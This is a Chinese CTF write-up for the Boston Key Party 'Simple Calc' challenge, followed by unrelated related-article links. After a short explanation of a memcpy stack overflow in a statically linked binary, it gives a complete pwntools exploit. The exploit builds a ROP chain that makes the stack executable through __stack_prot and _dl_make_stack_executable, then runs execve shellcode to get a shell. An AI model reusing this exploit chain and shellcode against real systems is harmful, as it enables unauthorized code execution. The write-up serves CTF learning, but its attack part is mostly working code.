Bostonkey Simple calc
Simple Calc
明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!

#!/usr/bin/python
from pwn import *
import time
#wah #context.log_level = 'debug'
#s = remote('simplecalc.bostonkey.party',5400, timeout=2)
s = remote('127.0.0.1',10001)
time.sleep(1)
print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
raw_input('go!') def add(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def sub(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def div(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
rop = ''
rop += p32(0x31) #fake heap head
rop += 11*p32(500)
rop += p64(0x6C4AA0) #divresult to bypass free()
rop += p32(500)*4 rop += p64(0x4b8f17) #pop rcx; ret
rop += p64(0x6C0FE0) #__stack_prot
rop += p64(0x474a83) #pop rax; ret
rop += p64(0xffffffffffffffff) #-1
rop += 8*p64(0x00463b90) #add rax,1;ret
rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret
rop += p64(0x00463600) #pop rdi; ret
rop += p64(0x6C0F88) #__libc_stack_end
rop += p64(0x4717E0) #_dl_make_stack_executable
rop += p64(0x44282a) #call rsp shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
rop += shellcode payloadlen = len(rop)
print 'payload len is %d' % len(rop)
#print rop.encode('hex') remaind = payloadlen %4
padlen = payloadlen + 4-remaind
formats = '{:' + '\x01' + '<' + str(padlen) + '}'
payload = formats.format(rop)
#print payload.encode('hex') s.recvuntil('Expected number of calculations: ', timeout=2)
s.sendline(str(padlen/4 + 1)) tmp = 0x30
for i in range(padlen/4):
#print '%d round' % (i+1)
num = u32(payload[4*i:4*(i+1)])
#print hex(num)
if num == 0x31:
div(str(0x31*0x31), str(0x31)) #to bypass free
elif num <= 0x27:
sub(str(num+0x30),str(0x30))
elif num >= 0x70000000:
add(str(num-0x70000000),str(0x70000000))
else:
add(str(num-0x30),str(0x30))
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.interactive()
Bostonkey Simple calc的更多相关文章
- CSharp使用ANTLR4生成简单计算Parser
ANTLR简介 ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, pr ...
- 2016暑假多校联合---A Simple Chess
2016暑假多校联合---A Simple Chess Problem Description There is a n×m board, a chess want to go to the po ...
- Building simple plug-ins system for ASP.NET Core(转)
Recently I built plug-ins support to my TemperatureStation IoT solution web site. The code for .NET ...
- css calc()
w https://developer.mozilla.org/en-US/docs/Web/CSS/calc The calc() CSS function can be used anywhere ...
- HDU 5794 A Simple Chess dp+Lucas
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5794 A Simple Chess Time Limit: 2000/1000 MS (Java/O ...
- HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)
题目链接 A Simple Chess 打表发现这其实是一个杨辉三角…… 然后发现很多格子上方案数都是0 对于那写可能可以到达的点(先不考虑障碍点),我们先叫做有效的点 对于那些障碍,如果不在有效点上 ...
- PHP设计模式(一)简单工厂模式 (Simple Factory For PHP)
最近天气变化无常,身为程序猿的寡人!~终究难耐天气的挑战,病倒了,果然,程序猿还需多保养自己的身体,有句话这么说:一生只有两件事能报复你:不够努力的辜负和过度消耗身体的后患.话不多说,开始吧. 一.什 ...
- Design Patterns Simplified - Part 3 (Simple Factory)【设计模式简述--第三部分(简单工厂)】
原文链接:http://www.c-sharpcorner.com/UploadFile/19b1bd/design-patterns-simplified-part3-factory/ Design ...
- WATERHAMMER: A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION
开启阅读模式 WATERHAMMER A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION Waterhammer is an impact load that is ...
随机推荐
- “玲珑杯”郑州轻工业学院第八届ACM程序设计大赛暨河南高校邀请赛-正式赛(总结)
这次轻院校赛,我们去了五个队,怀着打酱油的心态早早爬起来坐上校车出发了,由于昨晚室友打游戏,以及看视频大笑...没睡好,快1点才睡着,感觉特别困,车上没地方,睡不着,就在车上闭目养神,由于在新校区,不 ...
- 虚拟化之KVM virsh常用命令篇
1,查看运行的虚拟机 virsh list 2,查看所有的虚拟机(关闭和运行的虚拟机) virsh list --all 3,连接虚拟机 virsh console +域名(虚拟机的名称) 4,退出虚 ...
- 查询ID为5的数据的前后各一行数据,ID不连续
首先假如有一张表 test 那么我们要查的就是 3 和 7 这里我的思路是 用SQL Server 自带的Row_Number 函数把 ID=5 的 RowNo 查出来,因为RowNo是连续的,所以它 ...
- 《JavaScript 闯关记》之表达式和运算符
表达式 表达式是由数字.运算符.数字分组符号(如括号).自由变量和约束变量等以能求得数值的有意义排列方法所得的组合.JavaScript 表达式主要有以下几种形式: 原始表达式:常量.变量.保留字. ...
- wpf中,一个简单的自定义treeview
首先创建一个自定义控件,在里面定义好treeview的样式,将本来的三角形的图标变为加号的图标,并且添加节点之间的连线. <UserControl x:Class="TreeViewE ...
- WPF中当鼠标移到按钮上时,按钮的背景图片消失的问题
如果给按钮设置了背景图片,当鼠标移到按钮上的时候,按钮就好变成一个浅蓝色的按钮,背景图片就消失了,对于这个问题有很多解决方法,我只分享一下我的解决方法. 我第一次用的方式是在按钮中添加一个图片,不用背 ...
- AppSettings
1.winform中读写配置文件appSettings 一节中的配置. #region 读写配置文件 /// <summary> /// 修改配置文件中某项的值 /// </summ ...
- 基于.Net的单点登录(SSO)解决方案
前些天一位朋友要我帮忙做一单点登录,其实这个概念早已耳熟能详,但实际应用很少,难得最近轻闲,于是决定通过本文来详细描述一个SSO解决方案,希望对大家有所帮助.SSO的解决方案很多,但搜索结果令人大失所 ...
- php.ini配置
PHP作为一门强大的脚本语言被越来越多的web应用程序采用,不规范的php安全配置可能会带来敏感信息泄漏.SQL注射.远程包含等问题,规范的安全配置可保障最基本的安全环境.下面我们分析几个会引发安全问 ...
- V - 不容易系列之(4)――考新郎(第二季水)
Description 国庆期间,省城HZ刚刚举行了一场盛大的集体婚礼,为了使婚礼进行的丰富一些,司仪临时想出了有一个有意思的节目,叫做"考新郎",具体的操作是这 ...